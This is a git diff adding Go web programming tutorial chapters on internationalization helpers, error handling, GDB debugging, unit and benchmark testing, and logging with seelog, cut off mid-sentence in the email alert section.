:= false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return Tr.Time(s) + } + +Register the function like so: + + t.Funcs(template.FuncMap{"TD": I18nTimeDate}) + +Then use it from your template: + + {{.V.Now | TD}} + +3 Currency Information + +Currencies use the `Tr.Money` function to convert money. The mapFunc is implemented as follows: + + func I18nMoney(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + return Tr.Money(s) + } + +Register the function like so: + + t.Funcs(template.FuncMap{"M": I18nMoney}) + +Then use it from your template: + + {{.V.Money | M}} + +## Summary + +In this section we learned how to implement multiple language packs in our web applications. We saw that through custom language packs, we can not only easily internationalize our applications, but facilitate the addition of other languages also (through the use of a configuration file). By default, the go-i18n package will provide some common configurations for time, currency, etc., which can be very convenient to use. We learned that these functions can also be used directly from our templates using mapping functions; each translated string can be piped directly to our templates. This enables our web applications to accommodate multiple languages with minimal effort. + +## Links + +- [Directory](preface.md) +- Previous section: [Localized resources](10.2.md) +- Next section: [Summary](10.4.md) diff --git a/th/10.4.md b/th/10.4.md new file mode 100644 index 000000000..072ac7496 --- /dev/null +++ b/th/10.4.md @@ -0,0 +1,9 @@ +# 10.4 Summary + +Through this introductory chapter on i18n, you should now be familiar with some of the steps and processes that are necessary for internationalizing and localizing your websites. I've also introduced an open source solution for i18n in Go: [go-i18n](https://github.com/astaxie/go-i18n). Using this open source library, we can easily implement multi-language versions of our web applications. This allows our applications to be flexible and responsive to local audiences all around the world. If you find an error in this open source library or any missing features, please open an issue or a pull request! Let's strive to make it one of Go's standard libraries! + +## Links + +- [Directory](preface.md) +- Previous section: [International sites](10.3.md) +- Next chapter: [Error handling, debugging and testing](11.0.md) diff --git a/th/11.0.md b/th/11.0.md new file mode 100644 index 000000000..0d0cb8c32 --- /dev/null +++ b/th/11.0.md @@ -0,0 +1,17 @@ +# 11 Error Handling, Debugging, and Testing + +We often see the majority of a programmer's "programming" time spent on checking for bugs and working on bug fixes. Whether you are refactoring code or re-configuring systems, much of your time will undoubtedly be spent troubleshooting and testing. From the outside, people may think that all we do as programmers is design our systems and then write our code. They might think that we have the ideal job! We do work that is very engaging, and implement systems that have never been done before. While this last part may be true, what they don't know is that we spend the majority of our time cycling between troubleshooting, debugging and testing our code! Of course, if you have good programming habits and the technological solutions to help you take on these tasks, then you can minimize the time spent doing these things, enabling you to focus instead on more valuable things like the application logic. + +Unfortunately, many programmers are not thorough in fulfilling their error handling, debugging and testing responsibilities beforehand. Inexperienced programmers will often only make an effort to find errors and flaws after they have occurred, spending hours locating and fixing problems after the application is already online. It's good practice (and probably common sense) that we should design our applications with proper error handling, test cases, etc., from the get go. This will make your job, and the jobs of all the other developers who may be working on your application someday, much easier when they inevitably need to modify the code or upgrade the system. + +In the process of developing web applications, you will inevitably encounter unforeseen errors. What's the most efficient way of finding the causes of these errors and solving them? Section 11.1 describes how to handle errors in the Go language as well as how to design your own error handling package and functions. Section 11.2 describes how to use GDB to debug programs under dynamic operating conditions, depending on a variety of variable information. We then discuss application monitoring and debugging operations. + +Section 11.3 will explain unit testing in Go and feature some in-depth discussions and examples on how to write unit tests, as well as defining Go's unit testing rules. We'll see how following these rules will ensure that when upgrading or modifying your application, the test code will be able to run smoothly. + +Many programmers avoid spending time to learn and cultivate good debugging and testing habits. This chapter takes on these issues head-on so you won't have to run away from these tasks any longer. Since you're just learning how to build web applications in Go, let's use this opportunity to establish these good habits from the very beginning. + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 10 summary](10.4.md) +- Next section: [Error handling](11.1.md) diff --git a/th/11.1.md b/th/11.1.md new file mode 100644 index 000000000..02d1b903b --- /dev/null +++ b/th/11.1.md @@ -0,0 +1,207 @@ +# 11.1 Error handling + +Go's major design considerations are rooted in the following ideas: a simple, clear, and concise syntax (similar to C) and statements which are explicit and don't contain any hidden or unexpected things. Go's error handling scheme reflects all of these principles in the way that it's implemented. If you're familiar with the C language, you'll know that it's common to return -1 or NULL values to indicate that an error has occurred. However users who are not familiar with C's API will not know exactly what these return values mean. In C, it's not explicit whether a value of `0` indicates success of failure. On the other hand, Go explicitly defines a type called `error` for the sole purpose of expressing errors. Whenever a function returns, we check to see whether the error variable is `nil` or not to determine if the operation was successful. For example, the `os.Open` function fails, it will return a non-nil error variable. + + func Open(name string) (file * File, err error) + +Here's an example of how we'd handle an error in `os.Open`. First, we attempt to open a file. When the function returns, we check to see whether it succeeded or not by comparing the error return value with nil, calling `log.Fatal` to output an error message if it's a non-nil value: + + f, err := os.Open("filename.ext") + if err != nil { + log.Fatal(err) + } + +Similar to the `os.Open` function, the functions in Go's standard packages all return error variables to facilitate error handling. This section will go into detail about the design of error types and discuss how to properly handle errors in web applications. + +## Error type + +`error` is an interface type with the following definition: + + type error interface { + Error() string + } + +`error` is a built-in interface type. We can find its definition in the builtin package below. We also have a lot of internal packages which use `error` in a private structure called `errorString`, which implements the error interface: + + // errorString is a trivial implementation of error. + type errorString struct { + s string + } + + func (e *errorString) Error() string { + return e.s + } + +You can convert a regular string to an `errorString` through `errors.New` in order to get an object that satisfies the error interface. Its internal implementation is as follows: + + // New returns an error that formats as the given text. + func New(text string) error { + return &errorString{text} + } + +The following example demonstrates how to use `errors.New`: + + func Sqrt(f float64) (float64, error) { + if f < 0 { + return 0, errors.New("math: square root of negative number") + } + // implementation + } + +In the following example, we pass a negative number to our `Sqrt` function. Checking the `err` variable, we check whether the error object is non-nil using a simple nil comparison. The result of the comparison is true, so `fmt.Println` (the `fmt` package calls the error method when dealing with error calls) is called to output an error. + + f, err := Sqrt(-1) + if err != nil { + fmt.Println(err) + } + +## Custom Errors + +Through the above description, we know that a go Error is an interface. By defining a struct that implements this interface, we can implement their error definitions. Here's an example from the JSON package: + + type SyntaxError struct { + msg string // error description + Offset int64 // where the error occurred + } + + func (e * SyntaxError) Error() string {return e.msg} + +The error's `Offset` field will not be printed at runtime when syntax errors occur, but using a type assertion error type, you can print the desired error message: + + if err := dec.Decode(&val); err != nil { + if serr, ok := err.(*json.SyntaxError); ok { + line, col := findLine(f, serr.Offset) + return fmt.Errorf("%s:%d:%d: %v", f.Name(), line, col, err) + } + return err + } + +It should be noted that when the function returns a custom error, the return value is set to the recommended type of error rather than a custom error type. Be careful not to pre-declare variables of custom error types. For example: + + func Decode() *SyntaxError { + // error, which may lead to the caller's err != nil comparison to always be true. + var err * SyntaxError // pre-declare error variable + if an error condition { + err = &SyntaxError{} + } + return err // error, err always equal non-nil, causes caller's err != nil comparison to always be true + } + +See http://golang.org/doc/faq#nil_error for an in depth explanation + +The above example shows how to implement a simple custom Error type. But what if we need more sophisticated error handling? In this case, we have to refer to the `net` package approach: + + package net + + type Error interface { + error + Timeout() bool // Is the error a timeout? + Temporary() bool // Is the error temporary? + } + + +Using type assertion, we can check whether or not our error is of type net.Error, as shown in the following example. This allows us to refine our error handling -if a temporary error occurs on the network, it will sleep for 1 second, then retry the operation. + + if nerr, ok := err.(net.Error); ok && nerr.Temporary() { + time.Sleep(1e9) + continue + } + if err != nil { + log.Fatal(err) + } + +## Error handling + +Go handles errors and checks the return values of functions in a C-like fashion, which is different to how most of the other major languages do. This makes the code more explicit and predictable, but also more verbose. To reduce the redundancy of our error-handling code, we can use abstract error handling functions that allow us to implement similar error handling behaviour: + + func init() { + http.HandleFunc("/view", viewRecord) + } + + func viewRecord(w http.ResponseWriter, r *http.Request) { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + http.Error(w, err.Error(), 500) + return + } + if err := viewTemplate.Execute(w, record); err != nil { + http.Error(w, err.Error(), 500) + } + } + +The above example demonstrate how the data access and template call has detected an error. When an error occurs , a call to unified handler http.Error, returns a 500 error code to the client , and displays the corresponding error data. But when more and more HandleFunc calls are made, so error-handling logic code will increase. We can customize the router to reduce code (refer to the third chapter of HTTP for more detail). + + type appHandler func(http.ResponseWriter, *http.Request) error + + func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if err := fn(w, r); err != nil { + http.Error(w, err.Error(), 500) + } + } + +Above we've defined a custom router. We can then register our handler as usual: + + func init() { + http.Handle("/view", appHandler(viewRecord)) + } + +The `/view` handler can then be handled by the following code; it is a lot simpler than our original implementation isn't it? + + func viewRecord(w http.ResponseWriter, r *http.Request) error { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + return err + } + return viewTemplate.Execute(w, record) + } + +The error handler example above will return the 500 Internal Error code to users when any errors occur, in addition to printing out the corresponding error code. In fact, we can customize the type of error returned to output a more developer friendly error message with information that is useful for debugging like so: + + type appError struct { + Error error + Message string + Code int + } + +Our custom router can be changed accordingly: + + type appHandler func(http.ResponseWriter, *http.Request) *appError + + func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if e := fn(w, r); e != nil { // e is *appError, not os.Error. + c := appengine.NewContext(r) + c.Errorf("%v", e.Error) + http.Error(w, e.Message, e.Code) + } + } + +After we've finished modifying our custom error, our logic can be changed as follows: + + func viewRecord(w http.ResponseWriter, r *http.Request) *appError { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + return &appError{err, "Record not found", 404} + } + if err := viewTemplate.Execute(w, record); err != nil { + return &appError{err, "Can't display record", 500} + } + return nil + } + +As shown above, we can return different error codes and error messages in our views, depending on the situation. Although this version of our code functions similarly to the previous version, it's more explicit, and its error message prompts are more comprehensible. All of these factors can help to make your application more scalable as complexity increases. + +## Summary + +Fault tolerance is a very important aspect of any programming language. In Go, it is achieved through error handling. Although `Error` is only one interface, it can have many variations in the way that it's implemented, and we can customize it according to our needs on a case by case basis. By introducing these various error handling concepts, we hope that you will have gained some insight on how to implement better error handling schemes in your own web applications. + +## Links + +- [Directory](preface.md) +- Previous section: [Error handling, debugging and testing](11.0.md) +- Next section: [Debugging by using GDB](11.2.md) diff --git a/th/11.2.md b/th/11.2.md new file mode 100644 index 000000000..a12bf72f5 --- /dev/null +++ b/th/11.2.md @@ -0,0 +1,264 @@ +# 11.2 Debugging with GDB + +During the development process of any application, developers will always need to perform some kind of code debugging. PHP, Python, and most of the other dynamic languages, are able to be modified at runtime, as long as the modifications do not explicitly need to be compiled. We can easily print data in dynamic operating environments, outputting our changes and printing variable information directly. In Go, you can of course speckle your code with `Println`s before-hand to display variable information for debugging purposes, but any changes to your code need to be recompiled every time. This can quickly become cumbersome. If you've programmed in Python or Javascript, you'll know that the former provides tools such as pdb and ipdb for debugging, and the latter has similar tools that are able to dynamically display variable information and facilitate single-step debugging. Fortunately, Go has native support for a similar tool which provides such debugging features: GDB. This section serves as a brief introduction into debugging Go applications using GDB. + +## GDB debugging profile + +GDB is a powerful debugging tool targeting UNIX-like systems, released by the FSF (Free Software Foundation). GDB allows us to do the following things: + +1. Initial settings can be customize according to the specific requirements of your application. +2. Can be set so that the program being debugged in the developer's console stops at the prescribed breakpoints (breakpoints can be conditional expressions). +3. When the program has been stopped, you can check its current state to see what happened. +4. Dynamically change the current program's execution environment. + +To debug your Go applications using GDB, the version of GDB you use must be greater than 7.1. + +When compiling Go programs, the following points require particular attention: + +1. Using `-ldflags "-s"` will prevent the standard debugging information from being printed +2. Using `-gcflags "-N-l"` will prevent Go from performing some of its automated optimizations -optimizations of aggregate variables, functions, etc. These optimizations can make it very difficult for GDB to do its job, so it's best to disable them at compile time using these flags. + +Some of GDB's most commonly used commands are as follows: + +- list + +Also used in its abbreviated form `l`, `list` is used to display the source code. By default, it displays ten lines of code and you can specify the line you wish to display. For example, the command `list 15` displays ten lines of code centered around line 15, as shown below. + + 10 time.Sleep(2 * time.Second) + 11 c <- i + 12 } + 13 close(c) + 14 } + 15 + 16 func main() { + 17 msg := "Starting main" + 18 fmt.Println(msg) + 19 bus := make(chan int) + +- break + +Also used in its abbreviated form `b`, `break` is used to set breakpoints, and takes as an argument that defines which point to set the breakpoint at. For example, `b 10` sets a break point at the tenth row. + +- delete + +Also used in its abbreviated form `d`, `delete` is used to delete break points. The break point is set followed by the serial number. The serial number can be obtained through the `info breakpoints` command. Break points set with their corresponding serial numbers are displayed as follows to set a break point number. + + Num Type Disp Enb Address What + 2 breakpoint keep y 0x0000000000400dc3 in main.main at /home/xiemengjun/gdb.go:23 + breakpoint already hit 1 time + +- backtrace + +Abbreviated as `bt`, this command is used to print the execution of the code, for instance: + + #0 main.main () at /home/xiemengjun/gdb.go:23 + #1 0x000000000040d61e in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244 + #2 0x000000000040d6c1 in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267 + #3 0x0000000000000000 in ?? () + +- info + +The `info` command can be used in conjunction with several parameters to display information. The following parameters are commonly used: + +- `info locals` + +Displays the currently executing program's variable values + +- `info breakpoints` + +Displays a list of currently set breakpoints + +- `info goroutines` + +Displays the current list of running goroutines, as shown in the following code, with the `*` indicating the current execution + + * 1 running runtime.gosched + * 2 syscall runtime.entersyscall + 3 waiting runtime.gosched + 4 runnable runtime.gosched + +- print + +Abbreviated as `p`, this command is used to print variables or other information. It takes as arguments the variable names to be printed and of course, there are some very useful functions such as $len() and $cap() that can be used to return the length or capacity of the current strings, slices or maps. + +- whatis + +`whatis` is used to display the current variable type, followed by the variable name. For instance, `whatis msg`, will output the following: + +type = struct string + +- next + +Abbreviated as `n`, `next` is used in single-step debugging to skip to the next step. When there is a break point, you can enter `n` to jump to the next step to continue + +- continue + +Abbreviated as `c`, `continue` is used to jump out of the current break point and can be followed by a parameter N, which specifies the number of times to skip the break point + +- set variable + +This command is used to change the value of a variable in the process. It can be used like so: `set variable = ` + +## The debugging process + +Now, let's take a look at the following code to see how GDB is typically used to debug Go programs: + + + package main + + import ( + "fmt" + "time" + ) + + func counting(c chan<- int) { + for i := 0; i < 10; i++ { + time.Sleep(2 * time.Second) + c <- i + } + close(c) + } + + func main() { + msg := "Starting main" + fmt.Println(msg) + bus := make(chan int) + msg = "starting a gofunc" + go counting(bus) + for count := range bus { + fmt.Println("count:", count) + } + } + + +Now we compile the file, creating an executable file called "gdbfile": + + go build -gcflags "-N -l" gdbfile.go + +Use the GDB command to start debugging : + + gdb gdbfile + +After first starting GDB, you'll have to enter the `run` command to see your program running. You will then see the program output the following; executing the program directly from the command line will output exactly the same thing: + + (gdb) run + Starting program: /home/xiemengjun/gdbfile + Starting main + count: 0 + count: 1 + count: 2 + count: 3 + count: 4 + count: 5 + count: 6 + count: 7 + count: 8 + count: 9 + [LWP 2771 exited] + [Inferior 1 (process 2771) exited normally] + +Ok, now that we know how to get the program up and running, let's take a look at setting breakpoints: + + (gdb) b 23 + Breakpoint 1 at 0x400d8d: file /home/xiemengjun/gdbfile.go, line 23. + (gdb) run + Starting program: /home/xiemengjun/gdbfile + Starting main + [New LWP 3284] + [Switching to LWP 3284] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + + +In the above example, we use the `b 23` command to set a break point on line 23 of our code, then enter `run` to start the program. When our program stops at our breakpoint, we typically need to look at the corresponding source code context. Entering the `list` command into our GDB session, we can see the five lines of code preceding our breakpoint: + + (gdb) list + 18 fmt.Println(msg) + 19 bus := make(chan int) + 20 msg = "starting a gofunc" + 21 go counting(bus) + 22 for count := range bus { + 23 fmt.Println("count:", count) + 24 } + 25 } + +Now that GDB is running the current program environment, we have access to some useful debugging information that we can print out. To see the corresponding variable types and values, type `info locals`: + + (gdb) info locals + count = 0 + bus = 0xf840001a50 + (gdb) p count + $1 = 0 + (gdb) p bus + $2 = (chan int) 0xf840001a50 + (gdb) whatis bus + type = chan int + +To let the program continue its execution until the next breakpoint, enter the `c` command: + + (gdb) c + Continuing. + count: 0 + [New LWP 3303] + [Switching to LWP 3303] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + (gdb) c + Continuing. + count: 1 + [Switching to LWP 3302] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + + +After each `c`, the code will execute once then jump to the next iteration of the `for` loop. It will, of course, continue to print out the appropriate information. + +Let's say that you need to change the context variables in the current execution environment, skip the process then continue to the next step. You can do so by first using `info locals` to get the variable states, then the `set variable` command to modify them: + + (gdb) info locals + count = 2 + bus = 0xf840001a50 + (gdb) set variable count=9 + (gdb) info locals + count = 9 + bus = 0xf840001a50 + (gdb) c + Continuing. + count: 9 + [Switching to LWP 3302] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + +Finally, while running, the program creates a number of goroutines. We can see what each goroutine is doing using `info goroutines`: + + (gdb) info goroutines + * 1 running runtime.gosched + * 2 syscall runtime.entersyscall + 3 waiting runtime.gosched + 4 runnable runtime.gosched + (gdb) goroutine 1 bt + #0 0x000000000040e33b in runtime.gosched () at /home/xiemengjun/go/src/pkg/runtime/proc.c:927 + #1 0x0000000000403091 in runtime.chanrecv (c=void, ep=void, selected=void, received=void) + at /home/xiemengjun/go/src/pkg/runtime/chan.c:327 + #2 0x000000000040316f in runtime.chanrecv2 (t=void, c=void) + at /home/xiemengjun/go/src/pkg/runtime/chan.c:420 + #3 0x0000000000400d6f in main.main () at /home/xiemengjun/gdbfile.go:22 + #4 0x000000000040d0c7 in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244 + #5 0x000000000040d16a in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267 + #6 0x0000000000000000 in ?? () + +From the `goroutines` command, we can have a better picture of what Go's runtime system is doing internally; the calling sequence for each function is plainly displayed. + +## Summary + +In this section, we introduced some basic commands from the GDB debugger that you can use to debug your Go applications. These included the `run`, `print`, `info`, `set variable`, `continue`, `list` and `break` commands, among others. From the brief examples above, I hope that you will have a better understanding of how the debugging process works in Go using the GDB debugger. If you want to get more debugging tips, please refer to the GDB manual on its [official website](http://www.gnu.org/software/gdb/). + +## Links + +- [Directory](preface.md) +- Previous section: [Error handling](11.1.md) +- Next section: [Write test cases](11.3.md) diff --git a/th/11.3.md b/th/11.3.md new file mode 100644 index 000000000..3fd3ec355 --- /dev/null +++ b/th/11.3.md @@ -0,0 +1,163 @@ +# 11.3 Writing test cases + +In the course of development, a very important step is to test our code to ensure its quality and integrity. We need to make sure that every function returns the expected result, and that our code performs optimally. We already know that the focus of unit tests is to find logical errors in the design or implementation of programs. They are used to detect and expose problems in code early on so that we can more easily fix them, before they get out of hand. We also know that performance tests are conducted for the purpose of optimizing our code so that it is stable under load, and can maintain a high level of concurrency. In this section, we'll take a look at some commonly asked questions about how unit and performance tests are implemented in Go. + +The Go language comes with a lightweight testing framework called `testing`, and we can use the `go test` command to execute unit and performance tests. Go's `testing` framework works similarly to testing frameworks in other languages. You can develop all sorts of test suites with them, which may include tests for unit testes, benchmarking, stress tests, etc. Let's learn about testing in Go, step by step. + +## How to write test cases + +Since the `go test` command can only be executed in a directory containing all corresponding files, we are going to create a new project directory `gotest` so that all of our code and test code are in the same directory. + +Let's go ahead and create two files in the directory called gotest.go and gotest_test.go + +1. Gotest.go: This file declares our package name and has a function that performs a division operation: + +
package gotest
+	
+	import (
+		"errors"
+	)
+	
+	func Division(a, b float64) (float64, error) {
+		if b == 0 {
+			return 0, errors.New("Divisor can not be 0")
+		}
+		return a / b, nil
+	}
+ +2. Gotest_test.go: This is our unit test file. Keep in mind the following principles for test files: + +- File names must end in `_test.go` so that `go test` can find and execute the appropriate code +- You have to import the `testing` package +- All test case functions begin with `Test` +- Test cases follow the source code order +- Test functions of the form `TestXxx()` take a `testing.T` argument; we can use this type to record errors or to get the testing status +- In functions of the form `func TestXxx(t * testing.T)`, the `Xxx` section can be any alphanumeric combination, but the first letter cannot be a lowercase letter [az]. For example, `Testintdiv` would be an invalid function name. +- By calling one of the `Error`, `Errorf`, `FailNow`, `Fatal` or `FatalIf` methods of `testing.T` on our testing functions, we can fail the test. In addition, we can call the `Log` method of `testing.T` to record the information in the error log. + +Here is our test code: + + package gotest + + import ( + "testing" + ) + + func Test_Division_1(t *testing.T) { + // try a unit test on function + if i, e := Division(6, 2); i != 3 || e != nil { + // If it is not as expected, then the test has failed + t.Error("division function tests do not pass ") + } else { + // record the expected information + t.Log("first test passed ") + } + } + + func Test_Division_2(t *testing.T) { + t.Error("just does not pass") + } + + +When executing `go test` in the project directory, it will display the following information: + + --- FAIL: Test_Division_2 (0.00 seconds) + gotest_test.go: 16: is not passed + FAIL + exit status 1 + FAIL gotest 0.013s + +We can see from this result that the second test function does not pass since we wrote in a dead-end using `t.Error`. But what about the performance of our first test function? By default, executing `go test` does not display test results. We need to supply the verbose argument `-v` like `go test -v` to display the following output: + + === RUN Test_Division_1 + --- PASS: Test_Division_1 (0.00 seconds) + gotest_test.go: 11: first test passed + === RUN Test_Division_2 + --- FAIL: Test_Division_2 (0.00 seconds) + gotest_test.go: 16: is not passed + FAIL + exit status 1 + FAIL gotest 0.012s + +The above output shows in detail the results of our test. We see that the test function 1 `Test_Division_1` passes, and the test function 2 `Test_Division_2` fails, finally concluding that our test suite does not pass. Next, we modify the test function 2 with the following code: + + func Test_Division_2(t *testing.T) { + // try a unit test on function + if _, e := Division(6, 0); e == nil { + // If it is not as expected, then the error + t.Error("Division did not work as expected.") + } else { + // record some of the information you expect to record + t.Log("one test passed.", e) + } + } + +We execute `go test -v` once again. The following information should now be displayed -the test suite has passed~: + + === RUN Test_Division_1 + --- PASS: Test_Division_1 (0.00 seconds) + gotest_test.go: 11: first test passed + === RUN Test_Division_2 + --- PASS: Test_Division_2 (0.00 seconds) + gotest_test.go: 20: one test passed. divisor can not be 0 + PASS + ok gotest 0.013s + +## How to write stress tests + +Stress testing is used to detect function performance, and bears some resemblance to unit testing (which we will not get into here), however we need to pay attention to the following points: + +- Stress tests must follow the following format, where XXX can be any alphanumeric combination and its first letter cannot be a lowercase letter. + + func BenchmarkXXX (b *testing.B){...} + +- By default, `Go test` does not perform function stress tests. If you want to perform stress tests, you need to set the flag `-test.bench` with the format: `-test.bench="test_name_regex"`. For instance, to run all stress tests in your suite, you would run `go test -test.bench=".*"`. +- In your stress tests, please remember to use testing.B.N any loop bodies, so that the tests can be run properly. +- As before, test file names must end in `_test.go` + +Here we create a stress test file called webbench_test.go: + + package gotest + + import ( + "testing" + ) + + func Benchmark_Division(b *testing.B) { + for i := 0; i < b.N; i++ { // use b.N for looping + Division(4, 5) + } + } + + func Benchmark_TimeConsumingFunction(b *testing.B) { + b.StopTimer() // call the function to stop the stress test time count + + // Do some initialization work, such as reading file data, database connections and the like, + // So that our benchmarks reflect the performance of the function itself + + b.StartTimer() // re-start time + for i := 0; i < b.N; i++ { + Division(4, 5) + } + } + + + +We then execute the `go test -file webbench_test.go -test.bench =".*"` command, which outputs the following results: + + PASS + Benchmark_Division 500000000 7.76 ns/ op + Benchmark_TimeConsumingFunction 500000000 7.80 ns/ op + ok gotest 9.364s + +The above results show that we did not perform any of our `TestXXX` unit test functions, and instead only performed our `BenchmarkXXX` tests (which is exactly as expected). The first `Benchmark_Division` test shows that our `Division()` function executed 500 million times, with an average execution time of 7.76ns. The second `Benchmark_TimeConsumingFunction` shows that our `TmeConsumingFunction` executed 500 million times, with an average execution time of 7.80ns. Finally, it outputs the total execution time of our test suite. + +## Summary + +From our brief encounter with unit and stress testing in Go, we can see that the `testing` package is very lightweight, yet packed with useful utilities. We saw that writing unit and stress tests can be very simple, and running them can be even easier with Go's built-in `go test` command. Every time we modify our code, we can simply run `go test` to begin regression testing. + +## Links + +- [Directory](preface.md) +- Previous section: [Debugging using GDB](11.2.md) +- Next section: [Summary](11.4.md) diff --git a/th/11.4.md b/th/11.4.md new file mode 100644 index 000000000..6bd250a22 --- /dev/null +++ b/th/11.4.md @@ -0,0 +1,9 @@ +# 11.4 Summary + +Over the course of the last three sections, we've introduced how to handle errors in Go, first looking at good error handling practices and design, then learning how to use the GDB debugger effectively. We saw that with GDB, we can perform single-step debugging, view and modify our program variables during execution, and print out the relevant process information. Finally, we described how to use Go's built-in `testing` framework to write unit and stress tests. Properly using this framework allows us to easily make any future changes to our code and perform the necessary regression testing. Good web applications must have good error handling, and part of that is having readable errors and error handling mechanisms which can scale in a predictable manner. Using the tools mentioned above as well as writing high quality and thorough unit and stress tests, we can have peace of mind knowing that once our applications are live, they can maintain optimal performance and run as expected. + +## Links + +- [Directory](preface.md) +- Previous section: [Write test cases](11.3.md) +- Next chapter: [Deployment and maintenance](12.0.md) diff --git a/th/12.0.md b/th/12.0.md new file mode 100644 index 000000000..67cccc871 --- /dev/null +++ b/th/12.0.md @@ -0,0 +1,9 @@ +# 12 Deployment and maintenance + +So far, we've covered the basics of developing, debugging and testing web applications in Go. As is often said, however: the last 10% of development takes 90% of the time. In this chapter, we will be emphasizing this last 10% of application development in order to truly craft reliable and high quality web applications. In the first section, we will examine how production services generate logs, and the process of logging itself. The second section will describe dealing with runtime errors, and how to manage them when they occur so that the impact on end users is minimized. In the third section, we tackle the subject of deploying standalone Go programs, which can be tricky at first. As you might know, Go programs cannot be written with daemons like you would with a language such as C. We'll discuss how background processes are typically managed in Go. Finally, our fourth and last section will address the process of backing up and recovering application data in Go. We'll take a look at some techniques for ensuring that in the event of a crash, we will be able to maintain the integrity of our data. + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 11 summary](11.4.md) +- Next section: [Logs](12.1.md) diff --git a/th/12.1.md b/th/12.1.md new file mode 100644 index 000000000..93db9b7d1 --- /dev/null +++ b/th/12.1.md @@ -0,0 +1,180 @@ +# 12.1 Logs + +We want to build web applications that can keep track of events which have occurred throughout execution, combining them all into one place for easy access later on, when we inevitably need to perform debugging or optimization tasks. Go provides a simple `log` package which we can use to help us implement simple logging functionality. Logs can be printed using Go's `fmt` package, called inside error handling functions for general error logging. Go's standard package only contains basic functionality for logging, however. There are many third party logging tools that we can use to supplement it if your needs are more sophisticated (tools similar to log4j and log4cpp, if you've ever had to deal with logging in Java or C++). A popular and fully featured, open-source logging tool in Go is the [seelog](https://github.com/cihub/seelog) logging framework. Let's take a look at how we can use `seelog` to perform logging in our Go applications. + +## Introduction to seelog + +Seelog is a logging framework for Go that provides some simple functionality for implementing logging tasks such as filtering and formatting. Its main features are as follows: + +- Dynamic configuration via XML; you can load configuration parameters dynamically without recompiling your program +- Supports hot updates, the ability to dynamically change the configuration without the need to restart the application +- Supports multi-output streams that can simultaneously pipe log output to multiple streams, such as a file stream, network flow, etc. +- Support for different log outputs + + - Command line output + - File Output + - Cached output + - Support log rotate + - SMTP Mail + +The above is only a partial list of seelog's features. To fully take advantage of all of seelog's functionality, have a look at its [official wiki](https://github.com/cihub/seelog/wiki) which thoroughly documents what you can do with it. Let's see how we'd use seelog in our projects: + +First install seelog: + + go get -u github.com/cihub/seelog + +Then let's write a simple example: + + package main + + import log "github.com/cihub/seelog" + + func main() { + defer log.Flush() + log.Info("Hello from Seelog!") + } + +Compile and run the program. If you see a `Hello from seelog` in your application log, seelog has been successfully installed and is running operating normally. + +## Custom log processing with seelog + +Seelog supports custom log processing. The following code snippet is based on the its custom log processing part of its package: + + + package logs + + import ( + "errors" + "fmt" + seelog "github.com/cihub/seelog" + "io" + ) + + var Logger seelog.LoggerInterface + + func loadAppConfig() { + appConfig := ` + + + + + + + + + + + + + + + + + ` + logger, err := seelog.LoggerFromConfigAsBytes([]byte(appConfig)) + if err != nil { + fmt.Println(err) + return + } + UseLogger(logger) + } + + func init() { + DisableLog() + loadAppConfig() + } + + // DisableLog disables all library log output + func DisableLog() { + Logger = seelog.Disabled + } + + // UseLogger uses a specified seelog.LoggerInterface to output library log. + // Use this func if you are using Seelog logging system in your app. + func UseLogger(newLogger seelog.LoggerInterface) { + Logger = newLogger + } + + +The above implements the three main functions: + +- `DisableLog` + +Initializes a global variable `Logger` with seelog disabled, mainly in order to prevent the logger from being repeatedly initialized + +- `LoadAppConfig` + +Initializes the configuration settings of seelog according to a configuration file. In our example we are reading the configuration from an in-memory string, but of course, you can read it from an XML file also. Inside the configuration, we set up the following parameters: + +- Seelog + +The `minlevel` parameter is optional. If configured, logging levels which are greater than or equal to the specified level will be recorded. The optional `maxlevel` parameter is similarly used to configure the maximum logging level desired. + +- Outputs + +Configures the output destination. In our particular case, we channel our logging data into two output destinations. The first is a rolling log file where we continuously save the most recent window of logging data. The second destination is a filtered log which records only critical level errors. We additionally configure it to alert us via email when these types of errors occur. + +- Formats + +Defines the various logging formats. You can use custom formatting, or predefined formatting -a full list of predefined formats can be found on seelog's [wiki](https://github.com/cihub/seelog/wiki/Format-reference) + +- `UseLogger` + +Set the current logger as our log processor + +Above, we've defined and configured a custom log processing package. The following code demonstrates how we'd use it: + + package main + + import ( + "net/http" + "project/logs" + "project/configs" + "project/routes" + ) + + func main() { + addr, _ := configs.MainConfig.String("server", "addr") + logs.Logger.Info("Start server at:%v", addr) + err := http.ListenAndServe(addr, routes.NewMux()) + logs.Logger.Critical("Server err:%v", err) + } + +## Email notifications + +The above example explains how to set up email notifications with `seelog`. As you can see, we used the following `smtp` configuration: + + + + + +We set the format of our alert messages through the `criticalemail` configuration, providing our mail server parameters to be able to receive them. We can also configure our notifier to send out alerts to additional users using the `recipient` configuration. It's a simple matter of adding one line for each additional recipient. + +To test whether or not this code is working properly, you can add a fake critical message to your application like so: + + logs.Logger.Critical("test Critical message") + +Don't forget to delete it once you're done testing, or when your application goes live, your inbox may be flooded with email notifications. + +Now, whenever our application logs a critical 